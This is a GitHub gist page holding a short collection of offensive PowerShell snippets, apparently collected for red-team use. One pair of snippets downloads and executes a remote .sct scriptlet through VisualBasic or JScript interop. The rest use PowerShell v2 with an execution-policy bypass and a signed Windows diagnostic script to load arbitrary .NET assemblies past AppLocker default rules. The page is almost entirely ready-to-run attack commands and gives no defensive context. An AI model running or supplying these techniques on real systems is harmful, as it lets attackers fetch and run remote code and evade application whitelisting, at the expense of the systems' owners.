Skip to content

Instantly share code, notes, and snippets.

@MHaggis
Forked from mgeeky/PowerShell.txt
Created December 3, 2021 20:14
Show Gist options
  • Select an option

  • Save MHaggis/cc39bdcc2d05d062c486fd5c81d95cb9 to your computer and use it in GitHub Desktop.

Select an option

Save MHaggis/cc39bdcc2d05d062c486fd5c81d95cb9 to your computer and use it in GitHub Desktop.
Snippets of PowerShell bypass/evasion/execution techniques that are interesting
#SCT VBScript/JScript Execution
[Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script:https://path/to/some.sct').Exec(0)
[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');[Microsoft.JScript.Eval]::JScriptEvaluate('GetObject("script:https://path/to/some.sct").Exec()',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())
#Loading .Net/C# Assemblies to Bypass AppLocker Default Rules
powershell -v 2 -ep bypass
cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\path\assembly.exe
[name.space]::executesomething()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment